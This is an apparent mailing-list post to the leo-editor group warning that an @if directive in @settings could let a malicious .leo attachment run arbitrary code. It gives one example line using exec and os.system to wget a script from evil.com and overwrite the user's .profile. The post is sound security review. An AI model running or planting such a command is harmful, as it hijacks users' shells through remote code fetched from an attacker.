Currently, use of @if in an @settings tree is documented, but an
attempt to use it elicits the message

doIf 'if' not supported yet

Good.

Before we implement this as documented, suppose I clicked on the
attachment someone sent me (Hey!  It claimed it was from
[email protected]!) containing a leo file with

@settings
  @if exec('import os; os.system("wget -O $HOME/.profile
http://www.evil.com/spam_the_world.sh";)')
    @bool fubar=True

If I missed discussion of the safeguards, my apologies.

Of course, as long as it's unimplemented, it's safe!

    - Stephen

--~--~---------~--~----~------------~-------~--~----~
You received this message because you are subscribed to the Google Groups 
"leo-editor" group.
To post to this group, send email to [email protected]
To unsubscribe from this group, send email to 
[email protected]
For more options, visit this group at 
http://groups.google.com/group/leo-editor?hl=en
-~----------~----~----~----~------~----~------~--~---

Reply via email to